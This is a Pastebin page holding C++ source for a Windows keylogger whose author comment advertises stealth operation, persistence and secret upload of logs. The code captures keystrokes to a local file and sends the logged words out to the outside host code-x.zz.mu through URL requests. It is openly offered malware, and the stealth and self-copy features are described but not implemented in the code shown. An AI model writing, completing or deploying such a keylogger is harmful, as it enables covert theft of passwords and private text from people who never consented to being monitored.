Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- CODED BY H4T3D
- This Key Logger run in Stealth mode and does following tasks
- 1,Save all key logs and all system info with public and private ip etc in System32log text file
- 2, Sends all Information secretly To code-x.zz.mu website
- 3, Copy Itself To Start Menu So when ever computer starts it runs in back ground with no trace
- 4, Deactivates on Shift+Ctrl key :)
- Changing Name Wont Make You l33t -_-
- */
- #include <iostream>
- #include <windows.h>
- #include <winuser.h>
- #include <ctime>
- #include<fstream>
- void readFile()
- {
- ifstream file;
- file.open ("System32log.txt");
- string word;
- char x ;
- word.clear();
- while ( ! file.eof() )
- {
- x = file.get();
- while ( x != ' ' )
- {
- word = word + x;
- x = file.get();
- }
- cout<< word <<endl;
- char str[80];
- strcpy (str,"start /max http://code-x.zz.mu/?txt=");
- strcat (str,word.c_str());
- puts (str);
- cout<<"Sleep : "<<endl;
- Sleep(1000);
- system(str);
- word.clear();
- }
- return;
- }
- int Save (int key_stroke, char *file);
- void Stealth();
- int main()
- {
- Stealth();
- char i;
- // current date/time based on current system
- time_t now = time(0);
- cout << "Number of sec since January 1,1970:" << now << endl;
- tm *ltm = localtime(&now);
- if(1 + ltm->tm_hour == 13){
- readFile();
- }
- while (1)
- {
- for(i = 8; i <= 190; i++)
- {
- if (GetAsyncKeyState(i) == -32767)
- Save (i,"System32log.txt");
- }
- }
- system ("PAUSE");
- return 0;
- }
- int Save (int key_stroke, char *file)
- {
- if ( (key_stroke == 1) || (key_stroke == 2) )
- return 0;
- FILE *OUTPUT_FILE;
- OUTPUT_FILE = fopen(file, "a+");
- cout << key_stroke << endl;
- if (key_stroke == 8)
- {
- }
- else if (key_stroke == 13)
- fprintf(OUTPUT_FILE, "%s", "\n");
- else if (key_stroke == 32)
- fprintf(OUTPUT_FILE, "%s", " ");
- else if (key_stroke == VK_TAB) {
- fprintf(OUTPUT_FILE, "%s", "[TAB]");
- }
- else if (key_stroke == VK_SHIFT)
- fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
- else if (key_stroke == VK_CONTROL)
- {
- MessageBox(NULL, "Mode Deactivated !", "Viper Code-X", MB_OK);
- exit(0);
- system("exit");
- return 0;
- }
- else if (key_stroke == VK_ESCAPE){
- fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
- }
- else if (key_stroke == VK_END)
- fprintf(OUTPUT_FILE, "%s", "[END]");
- else if (key_stroke == VK_HOME)
- fprintf(OUTPUT_FILE, "%s", "[HOME]");
- else if (key_stroke == VK_LEFT)
- fprintf(OUTPUT_FILE, "%s", "[LEFT]");
- else if (key_stroke == VK_UP)
- fprintf(OUTPUT_FILE, "%s", "[UP]");
- else if (key_stroke == VK_RIGHT)
- fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
- else if (key_stroke == VK_DOWN)
- fprintf(OUTPUT_FILE, "%s", "[DOWN]");
- else if (key_stroke == 190 || key_stroke == 110)
- fprintf(OUTPUT_FILE, "%s", ".");
- else
- fprintf(OUTPUT_FILE, "%s", &key_stroke);
- fclose (OUTPUT_FILE);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement